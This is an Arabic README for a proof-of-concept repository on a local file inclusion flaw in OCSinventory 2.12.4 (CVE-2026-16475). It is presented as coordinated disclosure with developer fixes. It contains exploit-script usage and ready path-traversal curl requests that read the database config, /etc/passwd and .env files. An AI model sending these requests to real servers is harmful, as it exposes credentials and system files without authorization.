
هذا هو المستودع الرسمي الذي يحتوي على PoC الخاص بثغرة CVE-2026-16475، وهي ثغرة LFI في OCSinventory 2.12.4.
ثغرة تضمين الملفات المحلي (Local File Inclusion) في OCSinventory 2.12.4
معرف CVE: CVE-2026-16475
درجة CVSS: 6.9 (متوسطة)
CWE: CWE-98 (التحكم غير السليم في اسم الملف لعبارة Include/Require في برنامج PHP)
الإصدار المتأثر: OCSinventory 2.12.4
الحالة: تم إصلاحها في الإصدارات الأخيرة
توجد ثغرة تضمين الملفات المحلي (LFI) في نقطة النهاية /ajax/teledeployoptions.php بسبب التعقيم غير السليم للمعامل linkedoptions قبل استخدامه في عملية تضمين ديناميكي لملف XML.
صُممت نقطة النهاية لتحميل ملفات إعدادات XML لكنها تفشل في التحقق بشكل صحيح من المعامل linkedoptions، مما يسمح بهجمات اجتياز المسار (path traversal).
يمكن لمهاجم عن بُعد غير مُصادَق استغلال هذه الثغرة من أجل:
pip install -r requirements.txt
python3 exploit.py -u http://target.com -v
الخيارات:
-u, --url - رابط الهدف (مطلوب)-v, --verbose - إخراج تفصيلي-o, --output - حفظ القراءات الناجحة في ملفمثال:
python3 exploit.py -u http://ocs.example.com -v -o results.txt
./lfi_test.sh
عدّل متغير BASE_URL في السكربت:
BASE_URL="http://target.com/ajax/teledeployoptions.php"
# Read database config
curl "http://target/ajax/teledeployoptions.php?os=test&linkedoptions=../../../dbconfig.inc"
# Read passwd file
curl "http://target/ajax/teledeployoptions.php?os=test&linkedoptions=../../../../../../../../etc/passwd"
# Read environment file
curl "http://target/ajax/teledeployoptions.php?os=test&linkedoptions=../../../.env"
للمستخدمين:
للمطورين:
basename() أو دوال مماثلة لمنع اجتياز المسارملاحظة: تم تنسيق CVE-2026-16475 عبر INCIBE وقد لا يكون مفهرسًا بعد في NVD. راجع مصدر INCIBE للحصول على معلومات موثوقة.
لأغراض تعليمية واختبارات مُصرَّح بها فقط
راجع DISCLAIMER.md للإشعار القانوني الكامل.
Adrián Ferrer Tarí
إفصاح مسؤول منسق عبر INCIBE